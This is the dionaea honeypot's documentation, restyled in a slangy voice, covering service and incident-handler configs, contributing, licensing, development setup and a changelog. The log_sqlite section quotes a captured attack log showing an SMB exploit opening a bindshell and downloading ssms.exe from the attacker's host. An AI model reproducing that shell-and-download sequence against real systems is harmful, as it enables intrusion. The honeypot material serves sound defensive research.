Okay so the main protocol dionaea serves up is SMB โ like, the headliner, no cap. And why? Because SMB has a genuinely decent history of remotely exploitable bugs, and it is a very popular target for worms. Worms absolutely devour it. ๐ชฑ
dionaea's SMB implementation makes use of a python3-adapted version of scapy. And because scapy's own SMB version was pretty limited, almost everything except the Field declarations had to be rewritten. Iconic amounts of work, honestly.
Fun fact: the SMB emulation written for dionaea is used by the mwcollectd (http://code.mwcollect.org) low interaction honeypot too. Sharing is caring ๐ซถ
Besides the known attacks on SMB, dionaea also supports uploading files to smb shares. And if you wanna get into dionaea's code, adding new DCE remote procedure calls is a great place to start โ you can use this:
SELECT
COUNT(*),
dcerpcrequests.dcerpcrequest_uuid,
dcerpcservice_name,
dcerpcrequest_opnum
FROM
dcerpcrequests
JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.dcerpcservice_uuid)
LEFT OUTER JOIN dcerpcserviceops ON(dcerpcserviceops.dcerpcserviceop_opnum = dcerpcrequest_opnum AND dcerpcservices.dcerpcservice = dcerpcserviceops.dcerpcservice )
WHERE
dcerpcserviceop_name IS NULL
GROUP BY
dcerpcrequests.dcerpcrequest_uuid,dcerpcservice_name,dcerpcrequest_opnum
ORDER BY
COUNT(*) DESC;
...to identify potential useful targets of unknown dcerpc calls, using the data you gathered and stored in your logsql database. Patches are appreciated โ genuinely, they are ๐
Example config
Heads up: the default port is 445, and you can change it via the port stanza. Here's services/smb.yaml:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: smb
config:
## Generic setting ##
# 1:"Windows XP Service Pack 0/1",
# 2:"Windows XP Service Pack 2",
# 3:"Windows XP Service Pack 3",
# 4:"Windows 7 Service Pack 1",
# 5:"Linux Samba 4.3.11"
# os_type: 2
# Additional config
# primary_domain: Test
# oem_domain_name: Test
# server_name: TEST-SERVER
## Windows 7 ##
# native_os: Windows 7 Professional 7600
# native_lan_manager: Windows 7 Professional 6.1
# shares:
# ADMIN$:
# comment: Remote Admin
# path: C:\\Windows
# type: disktree
# C$:
# comment: Default Share
# path: C:\\
# type:
# - disktree
# - special
# IPC$:
# comment: Remote IPC
# type: ipc
# Printer:
# comment: Microsoft XPS Document Writer
# type: printq
## Samba ##
# native_os: Windows 6.1
# native_lan_manager: Samba 4.3.11
# shares:
# admin:
# comment: Remote Admin
# path: \\home\\admin
# type: disktree
# share:
# comment: Default Share
# path: \\share
# type: disktree
# IPC$:
# comment: Remote IPC
# path: IPC Service
# type: ipc
# Printer:
# comment: Printer Drivers
# type: printq
TFTP ๐ฆ
So this one was literally written to test the udp connection code โ and boom, dionaea now provides a tftp server on port 69 that can serve files. Slay.
And yeah, there were vulnerabilities in tftp services, but ngl, the author is yet to see an automated attack on tftp services. It's giving "underrated, unbothered." โจ
Example config
Behold, services/tftp.yaml โ she's short and sweet:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: tftp
config:
root: "@DIONAEA_STATEDIR@/tftp/root"
UPnP ๐
Example config
services/upnp.yaml, coming right up โ including all the commented-out personality inspo, because we do not gatekeep:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: upnp
config:
root: "@DIONAEA_STATEDIR@/upnp/root"
# maximum size in kbytes of the request (32MB)
max_request_size: 32768
personality:
# default
cache: "CACHE-CONTROL: max-age=120\r\n"
st: "ST: upnp:rootdevice\r\n"
usn: "USN: uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice\r\n"
server: "SERVER: Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1\r\n"
location: "LOCATION: http://192.168.0.1:49152/IPMIdevicedesc.xml\r\n"
opt: "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
# # Samsung TV
# cache: "CACHE-CONTROL: max-age=900\r\n"
# st: "ST: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
# usn: "USN: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
# server: "SERVER: SHP, UPnP/1.0, Samsung UPnP SDK/1.0\r\n"
# location: "LOCATION: http://192.168.0.10:7677/MainTVServer2\r\n"
# opt: "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
#
# # XBOX 360
# cache: "CACHE-CONTROL: max-age=1800\r\n"
# st: "ST: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1\r\n"
# usn: "USN: uuid:531c567a-8c46-4201-bcd4-09afa554d859::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1\r\n"
# server: "SERVER: Microsoft-Windows/6.3 UPnP/1.0 UPnP-Device-Host/1.0\r\n"
# location: "LOCATION: http://192.168.0.10:1055/upnphost/udhisapi.dll?content=uuid:531c567a-8c46-4201-bcd4-09afa554d859\r\n"
# opt: "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
LOGGING (IHANDLER) ๐
Bestie. Getting a copy of the malware is cool, sure โ but getting an overview of the attacks run on your sensor? That's priceless. Literally priceless. ๐
dionaea can write information to a text file, but be aware: dionaea's logging to text files is rather chatty. Really chatty. Like, main-character-who-never-stops-talking chatty. And you genuinely do not want to be looking at that information unless you're debugging the software or writing some new feature for it. ๐ญ
Of course you can apply filters to the logging, to limit it to different facilities or levels โ but in general? You do not want to work with text files. Periodt.
So here's the tea: dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max โ they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents it wants to get informed about, and the paths are matched in a glob-like fashion. So logging information using an ihandler is superior to text logging: you get the information you're actually looking for, and you can write it to a format you choose yourself. Chef's kiss. ๐
List of available ihandlers โ here's the whole roster:
emuprofile ๐ธ
Example config, and yes she's basically just the name โ ihandlers/emuprofile.yaml:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: emuprofile
fail2ban ๐ฅ
ihandlers/fail2ban.yaml, serving looks:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: fail2ban
config:
downloads: "@DIONAEA_STATEDIR@/fail2ban/downloads.f2b"
offers: "@DIONAEA_STATEDIR@/fail2ban/offers.f2b"
ftp ๐
ihandlers/ftp.yaml โ ftp client section and all:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
# ftp client section
- name: ftp
config:
# host for active ftp via NAT
# * 0.0.0.0 - the initiating connection ip is used for active ftp
# * not 0.0.0.0 - gets resolved as hostname and used
active_host: "0.0.0.0"
# ports for active ftp; string indicating a range
active_ports: 63001-64000
hpfeeds ๐ง
ihandlers/hpfeeds.yaml โ say hi to the broker:
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: hpfeeds
config:
# fqdn/ip and port of the hpfeeds broker
server: "hpfriends.honeycloud.net"
# port: 10000
ident: ""
secret: ""
# dynip_resolve: enable to lookup the sensor ip through a webservice
dynip_resolve: "http://hpfriends.honeycloud.net/ip"
# Try to reconnect after N seconds if disconnected from hpfeeds broker
# reconnect_timeout: 10.0
log_db_sql ๐ซถ
WARNING: This ihandler is experimental. Not me warning you, that's just the manpage. ๐
This incident handler can write interesting information about attacks and connections into an SQL database. It uses SQLAlchemy to support different databases โ flexible queen ๐
Example config: ihandlers/log_db_sql.yaml
and the log_db_sql example wraps up like this, bestie:
- name: log_db_sql
config:
url: sqlite:///@DIONAEA_STATEDIR@/dionaea.db
๐ log_incident
This ihandler is the real-time incident exporter โ it sends incidents out so external programs can process them. Realtime bestie behavior.
โ ๏ธ WARNING: This ihandler is in pre alpha state and it might be changed or removed in the future. Do not build your whole personality on it yet.
โ๏ธ Configure
handlersโ list of URLs to submit the information to. At the moment onlyfile,httpandhttpsare supported. File, http, https โ that's the squad.
๐ฆ Format
{
"name": "<sensor-name>",
"origin": "<name of the incident>",
"timestamp": "<date in ISO 8601>",
"data": {
"connection": {
"id": <internal ID>,
"local_ip": "<local IP>",
"local_port": <local port>,
"remote_ip": "<remote IP>",
"remote_hostname": "<remote hostname if resolvable>",
"remote_port": <remote port>,
"protocol": "<protocol>",
"transport": "<transport tcp|udp>"
}
}
}
๐ Example config
ihandlers/log_incident.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_incident
config:
handlers:
#- http://127.0.0.1:8080/
- file://@DIONAEA_STATEDIR@/dionaea_incident.json
๐ฆ log_json
This ihandler submits information about attacks/connections encoded as json. JSON girlies rise.
โ ๏ธ WARNING: This ihandler is in pre alpha state and it might be changed or removed in the near future. Pre alpha era, handle with care.
โ๏ธ Configure
flat_dataโ set totrueto flatten object lists. Flat like your fave soda.handlersโ list of URLs to submit the information to. At the moment onlyfile,httpandhttpsare supported.
๐ฆ Format
Format of the connection information:
{
"connection": {
"local": {
"address": "<string:local ip address>",
"port": <integer:local port>,
},
"protocol": "<string:service name e.g. httpd>",
"remote": {
"address": "<string:remote ip address>",
"port": <integer:remote port>,
"hostname": "<string:hostname of the remote host>"
},
"transport": "<string:transport protocol e.g. tcp or udp>",
"type": "<string:connection type e.g. accepted, listen, ...>"
}
}
๐ Example config
ihandlers/log_json.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_json
config:
# Uncomment next line to flatten object lists to work with ELK
# flat_data: true
handlers:
#- http://127.0.0.1:8080/
- file://@DIONAEA_STATEDIR@/dionaea.json
๐ชต log_sqlite
โ ๏ธ WARNING: This ihandler was renamed in dionaea0.4.0fromlogsqltolog_sqlite. Name change era, keep up.
This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from the database:
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
profile: [{'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call': 'GetProcAddress'},
...., {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
service: bindshell://1957
connection 611 remoteshell tcp listen 10.69.53.52:1957
connection 612 remoteshell tcp accept 10.69.53.52:1957 <- 10.65.34.231:2135
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
offer: fxp://1:1@10.65.34.231:8218/ssms.exe
download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@10.65.34.231:8218/ssms.exe
connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
connection 614 ftpdata tcp listen 10.69.53.52:62087
connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
Additionally, you can query the database for many different things, refer to:
- dionaea sql logging 2009/11/06
- post it yourself 2009/12/08
- sqlite performance 2009/12/12
- virustotal fun 2009/12/14
- Andrew Waiteโs Blog for mimic-nepstats.py
for more examples how to make use of the database. Database lore unlocked.
๐ Example config
ihandlers/log_sqlite.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_sqlite
config:
file: "@DIONAEA_STATEDIR@/dionaea.sqlite"
๐ก nfq
๐ Example config
ihandlers/nfq.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: nfq
# nfq can intercept incoming tcp connections during the tcp handshake
# giving your honeypot the possibility to provide service on
# ports which are not served by default.
# refer to the documentation BEFORE using this
config:
# 0 = DROP
nfaction: 0
throttle:
window : 30
limits:
total: 30
slot: 30
timeouts:
server:
listen: 5
client:
idle: 10
sustain: 240
๐ต๏ธ p0f
๐ Example config
ihandlers/p0f.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: p0f
config:
# start p0f with
# sudo p0f -i any -u root -Q /tmp/p0f.sock -q -l
path: "un:///tmp/p0f.sock"
โ๏ธ s3
Upload unique captured binaries to Amazon S3 bucket cloud storage slay.
๐ Example config
ihandlers/s3.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: s3
config:
# Upload dionaea captured samples to Amazon AWS S3 bucket
# Amazon AWS S3 credentials
access_key_id: "AKIAIXEXAMPLE"
secret_access_key: "6WVE5LkETVL91nTKgGnm/YxJ+EXAMPLE"
bucket_name: "my-dionaea-bucket"
region_name: "eu-west-1"
# Alternate endpoint URL
# Normally Boto 3 will automatically construct appropriate URL
# By default, we can leave this value to blank
endpoint_url:
# Whether or not to validate the S3 certificate
verify: True
# Specify the destination folder in S3 for the upload
s3_dest_folder: "dionaea-capture/"
๐๏ธ store
๐ Example config
ihandlers/store.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: store
๐ค submit_http
๐ Example config
ihandlers/submit_http.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: submit_http
config:
# the url to send the submission requests to
url: "http://example.org/"
# E-Mail (optional)
# email: ""
# username (optional)
# user:
# password (optional)
# pass:
๐ฎ submit_http_post
๐ Example config
ihandlers/submit_http_post.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: submit_http_post
config:
submit:
file_upload:
urls:
- http://example.org/upload
- http://example.com/file.php
field_values:
submit: "Upload file"
file_fieldname: upload_file
๐ง tftp_download
๐ Example config
ihandlers/tftp_download.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: tftp_download
๐ฆ VirusTotal
This ihandler submits the captured malware samples to the VirusTotal service for further analysis. Teamwork with the malware-checking girlies.
โ๏ธ Configuration
apikeyโ the VirusTotal API-Key.fileโ SQLite database file used to cache the results.
๐ Example config
ihandlers/virustotal.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: virustotal
config:
# grab it from your virustotal account at My account -> My API Key (https://www.virustotal.com/en/user/<username>/apikey/)
apikey: "........."
file: "@DIONAEA_STATEDIR@/vtcache.sqlite"
# comment: "This sample was captured in the wild and uploaded by the dionaea honeypot.\n#honeypot #malware #networkworm"
๐ฅ PROCESSORS
Processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running the emu processor on them to detect shellcode. They're like the directors of the stream drama.
๐ง Emu
Use libemu to find and emulate shellcodes. Shellcode detective mode.
โ๏ธ Configuration
This is the Configuration slot for Emu in the source, and then we slide right into Filter. โจ
๐งผ Filter
Only continue with the processing pipeline if all conditions match. No conditions matched? No pipeline for you, bestie.
โ๏ธ Configuration
protocolsโ comma separated list of connection types.typesโ comma separated list of connection types.acceptโ dionaea accepts a new connection from a remote hostconnectโ dionaea makes a connection to a remote host
๐ Streamdumper
This processor can dump a connection as bi-directional stream. The dump can be used to replay an attack on ip-level without messing with pcap and tcpreplay. Replay era.
โ๏ธ Configuration
pathโ dumps will be created in this directory.
๐ฆ CONTRIBUTING ๐ฆ
Okay so first things first, and I mean this fr fr: thank you for even thinking about contributing to dionaea. Bestie. You're literally the moment. ๐
๐ Filing bug reports ๐
Bug reports are so welcome, like genuinely, please send them. Drop them on the GitHub issue tracker. And the good ones? The iconic ones? They come with extensive descriptions of the error and exactly how to reproduce it. Like, spill the whole tea: what you did, what happened, how to make it happen again. No gatekeeping the details.
๐ธ Patches ๐ธ
All patches to dionaea should be submitted as pull requests to the main dionaea repository, DinoTools/dionaea. These pull requests should satisfy the following properties:
โจ Code โจ
- The pull request should focus on one particular improvement to dionaea. One vibe, one PR.
- Create different pull requests for unrelated features or bugfixes. Don't mush them together, it's giving chaos.
- Python code should follow
PEP 8, especially in the "do what code around you does" sense. Read the room, match the room, slay.
๐ Documentation ๐
When introducing new functionality, please remember to write documentation. That's it. That's the rule. Future you (and everyone else) will be obsessed with you for it. ๐ซถ
๐ First time setup ๐
- Download and install the latest version of
git. - Configure
gitwith your username and email:
$ git config user.name 'Your Name'
$ git config user.email 'your.email@example.org'
- Make sure you have a GitHub account.
- Fork dionaea to your GitHub account by using the Fork button. Yes, the button. Click it. ๐
- Clone the main repository locally:
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea
- Add your fork as a remote to push your work to. Replace
<username>with your username:
$ git remote add fork https://github.com/<username>/dionaea
- Install
pre-commitby using a virtualenv:
$ python3 -m venv venv_git
$ source venv_git/bin/activate
$ pip install pre-commit
- Install the pre-commit hooks:
$ pre-commit install
๐ง Review ๐ง
Finally, pull requests must be reviewed before merging. And here's the cute part: everyone can perform reviews. It's a very valuable way to contribute and it's highly encouraged. Be the reviewer you wish to see in the world. โญ
๐ LICENSING RULES ๐
The dionaea honeypot is provided under the terms of the GNU General Public License version 2 or any later (GPL-2.0+).
This documentation file provides a description of how each source file should be annotated to make its license clear and unambiguous. It doesn't replace dionaea's license. (Read that again, bestie, it's an annotation guide not a license swap.)
The license described in the LICENSE file applies to the dionaea source as a whole, though individual source files can have a different license which is required to be compatible with the GPL-2.0:
GPL-3.0+ : GNU General Public License v3.0 or later
LGPL-2.0 : GNU Library General Public License v2 only
LGPL-2.0+ : GNU Library General Public License v2 or later
LGPL-2.1 : GNU Lesser General Public License v2.1 only
LGPL-2.1+ : GNU Lesser General Public License v2.1 or later
Aside from that, individual files can be provided under one of the compatible GPL variants and alternatively under a permissive license like BSD, MIT etc.
A common way of expressing the license of a source file is to add the matching boilerplate text into the top comment of the file. Due to formatting, typos etc. these "boilerplates" are hard to validate for tools which are used in the context of license compliance. (Not the tools' fault, honestly, boilerplate is a mess. ๐)
A replacement to the boilerplate text is the use of Software Package Data Exchange (SPDX) license identifiers in each source file. SPDX license identifiers are machine parsable and precise shorthands for the license under which the content of the file is contributed. SPDX license identifiers are managed by the SPDX Workgroup at the Linux Foundation and have been agreed on by partners throughout the industry, tool vendors, and legal teams. For further information see https://spdx.org/.
The dionaea honeypot requires the precise SPDX identifier in all source files. The REUSE tool from the FSFE is used to check if all required information are set. For additional information and formatting see https://reuse.software/.
๐ฅ License identifier syntax ๐ฅ
- Placement: The SPDX license identifier in source files shall be added at the first possible position in a file which can contain a comment. First, always. ๐
- Style: The SPDX license identifier is added in form of a comment. The comment style depends on the file type:
C source and header:
/**
* This file is part of the dionaea honeypot
*
* SPDX-FileCopyrightText: 2019 Jane Doe <jane@example.org>
*
* SPDX-License-Identifier: GPL-2.0-or-later
*/
Python:
# This file is part of the dionaea honeypot
#
# SPDX-FileCopyrightText: 2019 John Doe <john@example.org>
#
# SPDX-License-Identifier: GPL-2.0-or-later
Scripts:
# This file is part of the dionaea honeypot
#
# SPDX-FileCopyrightText: 2019 Jane Doe <jane@example.org>
#
# SPDX-License-Identifier: GPL-2.0-or-later
.rst:
..
This file is part of the dionaea honeypot
SPDX-FileCopyrightText: 2019 John Doe <john@example.org>
SPDX-License-Identifier: <SPDX License Expression>
If a specific tool cannot handle the standard comment style, then the appropriate comment mechanism which the tool accepts shall be used. For binary files or files you don't want to change use an additional file with the same name and .license as suffix. Problem solved, periodt. ๐
โญ Compliance check โญ
The REUSE tool is used to validate if all recommendations provided bei the REUSE project of the FSFE are met. (Yes, "bei" โ that's how it's written in the original, we don't touch it. ๐ญ) For more information about the specification have a look at https://reuse.software/ and https://spdx.dev/.
๐ Tooling ๐
Install the tool.:
$ pip install reuse
Run the linter.:
$ reuse lint
๐ git hooks ๐
The reuse tool has been included in the pre-commit hooks to check compliance on changed files before committing them. So it catches you before you commit, like a bestie checking your fit before you leave the house. ๐ธ
๐ ๏ธ DEVELOPMENT
Okay bestie, story time: dionaeaโs initial development was funded by the Honeynet Project as part of the Honeynets Summer of Code during 2009. The development process is as open as possible โ you can browse the source online and report bugs on GitHub. ๐
๐ฑ Development
๐ณ Docker
The docker-compose can be used to setup a development environment for dionaea. Copy this exactly, no cap:
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea/dev/docker
$ docker-compose up
To debug dionaea it can be started with gdbserver and gdbgui. This is the main-character debug setup:
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea/dev/docker
$ docker-compose -f docker-compose.yml -f extra_conf/gdbserver.yml up
The gdbgui frontend is available on the host system http://localhost:5000/. To connect to the gdbserver just select โConnect to gdbserverโ and enter dionaea:9999 on the frontend. โจ
All source files are monitored with inotifywait, and if a source file changes dionaea is automatically rebuilt and restarted. Obsessed with the automation honestly. ๐ฅ
๐ง Ubuntu 14.04
๐ Todo
โ ๏ธ Deprecated alert: This section is deprecated and should be updated.
Instead of using Vagrant you can use a Ubuntu 14.04 system to setup your development environment. In this section we will use the scripts used to setup the Vagrant environment to bootstrap a fresh Ubuntu system. If you like you can follow the ../installation โFrom Sourceโ guide to setup everything by hand. ๐ซถ
๐ฆ Install
First install Ubuntu.
If everything has been setup correctly clone the git repository and run the bootstrap script:
$ git clone https://github.com/DinoTools/dionaea.git
$ vagrant
$ ./bootstrap.sh
All files will be installed in the /opt/dionaea directory. Periodt. ๐
๐ Rebuild and test
Rebuild, install and start dionaea from the root of the git repository:
$ make
$ sudo make install
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug -L '*'
This can also be done in one line:
$ make && sudo make install && sudo dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug -L '*'
๐ง Find memory leaks
To enable AddressSanitizer you have to add the following parameters to the configure script and rebuild dionaea:
--disable-shared CFLAGS="-fsanitize=address -ggdb" CXXFLAGS="-fsanitize=address -ggdb"
When running dionaea it will print information about overflow errors. If you would like to stop execution you have to export an additional environment variable:
export ASAN_OPTIONS='abort_on_error=1'
To get a stacktrace you can use gdb and add an additional breakpoint break __asan_report_error.
It is also possible to use asan_symbolize.py python2 script to extract additional information:
/opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg 2>&1 | python asan_symbolize.py
๐ Logging
Logging should be used to report errors and for debugging purposes. It must not be used to report attacks โ incidents should be used for this purpose. For more information have a look at the ihandler section. ๐
๐งฎ Comparison glib2 and Python
Hereโs the vibe check on log levels โ glib2 on one side, Python on the other:
- glib2
debugโ Pythondebug - glib2
infoโ Pythoninfo - glib2
warningโ Pythonwarning - glib2
criticalโ Pythonerror - glib2
errorโ Pythoncritical
โ ๏ธ WARNING: In glib2 acriticalmessage means critical warning. But in Python acriticalmessage is handled as critical error.
โ ๏ธ WARNING: Anerrormessage in glib2 or acriticalmessage in a Python module will terminate the program immediately. Like, literally immediately. ๐ญ
๐จ Incident
Some of the incidents reported by the dionaea core are listed below:
dionaea.connection.tcp.acceptโ A new TCP connection has been accepted by dionaea.dionaea.connection.tls.acceptโ A new SSL/TLS connection has been accepted by dionaea.dionaea.connection.tcp.connectโ Reported after dionaea has connected to an external service via TCP.dionaea.connection.tls.connectโ Reported after dionaea has connected to an external service via SSL/TLS.dionaea.connection.udp.connectโ Reported after dionaea has connected to an external service via UDP.dionaea.connection.freeโ A connection has been closed and freed.dionaea.connection.tcp.listenโ Fired after a TCP service has been bound and is listening for incoming connections.dionaea.connection.tls.listenโ Fired after a SSL/TLS service has been bound and is listening for incoming connections.dionaea.connection.tcp.pendingdionaea.connection.tcp.rejectโ An incoming connection has been rejected by the server.dionaea.connection.link.earlydionaea.connection.linkโ Reported to give the log management the chance to link two connections.
๐ CHANGELOG ๐
okay bestie, this is the receipts section โ every era of dionaea, version by version, and yes we're listing all of them because history is iconic and also because you might need to know exactly when a thing landed. no skimming, no skipping. let's go ๐ฐ๏ธโจ
0.12.0 - (master) ๐ซ
literally nothing listed yet, it's giving "work in progress, watch this space" energy. slay anyway.
0.11.0 - (2020-11-30)
python
- Add function calls to enable Python thread handling ๐งต
- Add GIL handling and only ensure the lock if dionaea runs Python code ๐
- Add Timer class and use Python threading โฑ๏ธ
python/pyev
- Remove all source files and build steps from the source tree
pyevseems to be abandoned, no official repo ๐ญ- Use new Timer class
0.10.0 - (2020-11-16)
ci
- Add mypy check โ
dionaea
- Add support for certificate chain files ๐
- Add documentation for touched code
doc
- Update install instructions
python
- Drop Support for Python < 3.6 ๐
python/http
- Fix flake8 errors
- Fix issue with default
Content-Type(Fixes#252) - Add support to detect
Content-Typeby filename - Add documentation to config
- Add new function to split path and query string (Refs
#203) - Add warnings if Jinja is not available
- Fix issues with template rendering
- Add connection context to template context
- Add improvements to POST request handling
- Add function to add GET vars to template context
- Add example how to use HTML forms in templates ๐
python/printer
- Add initial release of the new printer service (Thanks Michael Neu) ๐จ๏ธ
- Add tests for printer service (Thanks Michael Neu)
python/smb
- Add config value to specify port
0.9.2 - (2020-10-25)
docker
- Build and push docker images ๐ณ
0.9.1 - (2020-10-15)
ci
- Add pre-commit config and fix code
- Add flake8 checks
- Add GitHub workflow to scan for vulnerabilities using CodeQL ๐ก๏ธ
dev
- Remove vagrant config
dionaea
- Add licensing information โ๏ธ
- Add SPDX header to all files
doc
- Add info about first time setup
0.9.0 - (2020-09-18)
ci
- Replace Jenkins with Drone CI
development
- Add docker compose to setup development environment ๐ณ
dionaea
- Improve names of bistrem files (Thanks Aws0mus)
- Fix reconnects with IP only
- Fix dropping privileges (Thanks Michal Ambroz)
- Fix bug to detect if
linux/sockios.his installed ๐ง
python
- Add class to report more information about connection issues
- Fix support Cython < 0.21
- Add additional information if parsing a YAML file fails
- Change YAML load to safe load ๐
- Replace deprecated API calls with new ones
python/hpfeeds
- Fix to show error message instead of id
- Add option to set reconnect timeout
- Change error handling to send authentication before sending messages (Thanks John Carr)
python/mssql
- Replace
warn()withwarning()
python/mysql
- Improve detection (Thanks Yorick Koster)
python/s3
- Add new ihandler to upload files to S3 storage (Thanks gento) โ๏ธ
python/virustotal
- Add support for custom comments (Thanks Matteo Cantoni)
0.8.0 - (2018-06-15)
doc
- Add migration instructions
- Fix warnings
build
- Replace autotools with cmake ๐จ
- Remove autotools files
- Add git information to version string on development builds
dionaea
- Add option to enable/disable IPv4 mapped IPv6 addresses
0.7.0 - (2018-05-01)
build
- Add initial cmake support
ci
- Add Debian 9
dionaea
- Fix build error with OpenSSL 1.1.0
- Improve OpenSSL 1.1.0 support
- Cleanup connection code
- Enable bistream for SSL/TLS connections (Thanks Aws0mus) ๐
- Fixing chroot bugs (Thanks Michal Ambroz)
doc
- Add additional information
- Doxygen config file for dionaea c core
- Ubuntu 16.04 install instructions
package
- Remove old and deprecated debian package config ๐
python
- Fix typo in config key
- Fix hardcoded python path
- Fix compilation on CentOS7 (Thanks Michal Ambroz)
python/http
- Initial support to handle SOAP requests
python/log_incident
- Improve hash generator
- Fix bug if parent is unknown
- Remove IDs from list if processed
python/mongo
- Initial support to simulate a MongoDB server ๐
python/pyev
- Update from 0.8 to 0.9 to support Python >= 3.6
python/smb
- Add support for WannaCry and SambaCry (Big thanks to gento) ๐ฅ
- Add additional config options to change identity
python/util
- Find Download commands for Linux shell
0.6.0 - (2016-11-14)
dionaea
- Fix build for musl lib
doc
- Fix install instructions
- Extend
README.md
python/blackhole
- New service/Initial version ๐ณ๏ธ
python/emu_scripts
- New handler to analyse downloaded scripts
- Detect VBScript and PowerShell
- Limit number of subdownloads
python/http
- Clean up
- Use state vars instead of strings
- Add template support
- Jinja 2 template engine
- nginx template
python/mysql
- Dump files from SELECT queries
- Extract URLs from functions
- Variable handler
- Support for selecting variables
python/p0f
- Fix decode error
python/pptp
- Fix error if config is empty
0.5.1 - (2016-09-05)
dionaea
- Don't report 'connection.free' incident to early to prevent segmentation faults ๐
yes the typo is preserved, it's part of the lore now, do not come for me ๐ซถ
0.5.0 - (2016-08-06)
dionaea
- Handle byte objects in incidents
- Bump required Python version from 3.2 to 3.4
python/http
- Detect Shellshock attacks ๐ฅ
python/log_incident
- Initial support to export raw incident information
python/log_sqlite
- Log credentials from the ftp service
python/memcache
- Initial support for the memcached protocol
python/pptp
- Clean up
- Handle CallClearRequests packets
- Values for hostname, vendor name and firmware revision are now customizable
python/util
- New function to detect shellshock attacks and report detected URLs
0.4.2 - (2016-07-02)
doc
- Add information about log levels for developers
python/*
- Replace all critical log messages with error messages
- Catch exceptions in
handle_io_in()andhandle_io_out()to improve stability - Catch exceptions in incident handlers
python/sip
- Fix error while reading config values
python/upnp
- Fix errors in log messages
more
- Add templates to create issues and merge requests on github ๐
0.4.1 - (2016-06-14)
core
- Initialize stdout logger earlier
- Log error,critical and warning by default
python/*
- In glib2 critical is a critical warning
- Add support for exceptions
- Check file path and show warnings
python/log_json
- Add support for flat object lists to work with ELK stack
0.4.0 - (2016-05-31)
core
- Replace
lcfgwith Key-value file parser from glib
ci
- Add build tests for Ubuntu 14.04, Ubuntu 16.04 and Debian 8
doc
- Add initial documentation for missing modules
- Update documentation to reflact config changes
- Add processor documentation
python/*
- Replace
lcfgwith yaml configs - Remove deprecated incident handlers (
logxmpp,mwserv,SurfIDS) ๐ - Rename incident handlers from
logsqltolog_sqlite - Rename incident handlers from
uniqdownloadtosubmit_http_post
python/mysql
- Enable processor pipeline
0.3.0 - (2016-03-30)
core
- Code clean up (Thanks to Katarina) ๐
- Vagrant based dev environment
- Customize ssl/tls parameters for autogenerated certificates
doc
- Initial version of sphinx based documentation
python/ftp
- Support to customize response messages
- Small fixes
python/hpfeeds
- Initial ihandler support (Thanks to rep)
python/http
- Customize HTTP response headers
- Return
HTTP/1.1instead ofHTTP/1.0
python/log_json
- Initial ihandler support
python/mqtt
- Initial protocol support (Thanks to gento)
python/pptp
- Initial protocol support (Thanks to gento)
python/upnp
- Initial protocol support (Thanks to gento)
0.2.1 - (2014-07-16)
core
- Support for cython and cython3
- Fixes to build with glib 2.40
- Remove build warnings
